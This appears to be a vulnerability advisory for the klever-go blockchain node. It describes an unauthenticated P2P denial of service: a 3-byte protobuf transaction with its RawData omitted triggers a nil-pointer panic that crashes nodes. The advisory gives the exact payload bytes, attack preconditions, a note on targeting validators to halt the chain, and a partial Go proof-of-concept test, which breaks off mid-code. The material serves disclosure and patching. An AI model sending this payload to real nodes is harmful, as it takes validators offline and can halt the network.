Asymmetric denial of service In github.com/klever-io/klever-go
Description
Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt ## Summary Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. A protobuf Transaction whose embedded RawData sub-message is omitted decodes to RawData == nil, so validating it triggers a nil-pointer panic. The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own network/p2p layer install no recover(), so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt). ## Affected component - Root cause: core/versioning/txVersionChecker.go:22 - Reached via: core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity) - Production tx-topic path: core/process/interceptors/multiDataInterceptor.go:171 and :223 - Unprotected caller: network/p2p/libp2p/netMessenger.go pubsubCallback (no recover) - Topic wiring: core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor) ## Details Synchronous validation path, no recovery at any frame: libp2p pubsubCallback network/p2p/libp2p/netMessenger.go (no recover) -> MultiDataInterceptor.ProcessReceivedMessage core/process/interceptors/multiDataInterceptor.go:171 -> interceptedData(...) core/process/interceptors/multiDataInterceptor.go:223 -> InterceptedTransaction.CheckValidity core/process/transaction/interceptedTransaction.go:154 -> integrity() core/process/transaction/interceptedTransaction.go:203 -> txVersionChecker.CheckTxVersion(tx) core/versioning/txVersionChecker.go:22 <-- nil deref Root cause (core/versioning/txVersionChecker.go): go func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error { if tx.RawData.Version < tvc.minTxVersion { // tx.RawData is nil -> panic return process.ErrInvalidTransactionVersion } return nil } integrity() calls CheckTxVersion as its very first statement, before any RawData nil-check, and CheckValidity() runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path. ## Preconditions - Attacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the transactions gossip topic. - Production runs with withMessageSigning = true, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized). - No special config or feature flag; the tx interceptor is built unconditionally and subscribes to transactions on every node. ## Impact - Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message. - Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node). - With auto-restart (systemd), re-sending sustains the outage. - Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain. - NOTE: the HTTP POST /transaction/send path is NOT crash-exploitable - the REST server uses gin.Default() (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor. ## Exploit cost / attack complexity - Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital). - Complexity: LOW. Unauthenticated, remote, deterministic. ## PoC-Source Scenario - Build the malicious transaction as it appears on the wire: a protobuf Transaction with RawData omitted (plus a throwaway Signature so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes (12 01 78) and round-trips back to RawData == nil. - Feed it through the REAL production interceptors. The transactions gossip topic is served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go, createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx gossip message and calls ProcessReceivedMessage, which is precisely what the panic-free libp2p pubsubCallback invokes in production. A second test drives the generic SingleDataInterceptor to show the bug is in the shared validation chain. - The data factory is a faithful copy of the production interceptedTxDataFactory.Create: it builds a genuine *InterceptedTransaction. No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of integrity(), upstream of any mock. How to run 1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.) 2. Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go. 3. Run either (separately - the first panic aborts the test binary): - Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v - Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v - Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only). Full PoC source (poc_nil_rawdata_dos_test.go): ```go // Target component: klever-go P2P transaction interceptor (network availability) // core/process/transaction/interceptedTransaction.go // core/versioning/txVersionChecker.go:22 // Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash) // CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input. // // Summary: // Every gossiped transaction is decoded and validated synchronously inside the // libp2p pubsub topic-validator callback // (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO // recover(). The validation chain is: // // (Multi|Single)DataInterceptor.ProcessReceivedMessage // -> InterceptedTransaction.CheckValidity // -> integrity() // -> txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version <-- nil deref // // CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf // Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil), // so an unauthenticated peer can broadcast a few bytes that panic the validation // goroutine and crash the entire node process. Repeating it against the validator // set halts consensus. // // How to run: // 1) git clone https://github.com/klever-io/klever-go && cd klever-go // 2) cp core/process/interceptors/poc_nil_rawdata_dos_test.go // 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v // // Expected output: // The test process aborts with: // panic: runtime error: invalid memory address or nil pointer dereference // ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22 // ... InterceptedTransaction.integrity ... -> CheckValidity // ... (Multi|Single)DataInterceptor.ProcessReceivedMessage // i.e. the crash originates from the interceptor's synchronous message-handling frame, // exactly where the panic-free libp2p pubsub callback would call it in production. // // Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only). package interceptors_test import ( "testing" "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process" "github.com/klever-io/klever-go/core/process/interceptors" txproc "github.com/klever-io/klever-go/core/process/transaction" "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/core/versioning" cryptoMock "github.com/klever-io/klever-go/crypto/mock" "github.com/klever-io/klever-go/data/batch" dataTransaction "github.com/klever-io/klever-go/data/transaction" ) // buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData // field is omitted. This is the entire attacker payload. func buildMaliciousTxBytes(t testing.T) []byte { m := &mock.ProtoMarshalizerMock{} maliciousTx := &dataTransaction.Transaction{ / RawData: nil */ } buff, err := m.Marshal(maliciousTx) if err !=
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 1.7.18 |
Aliases
References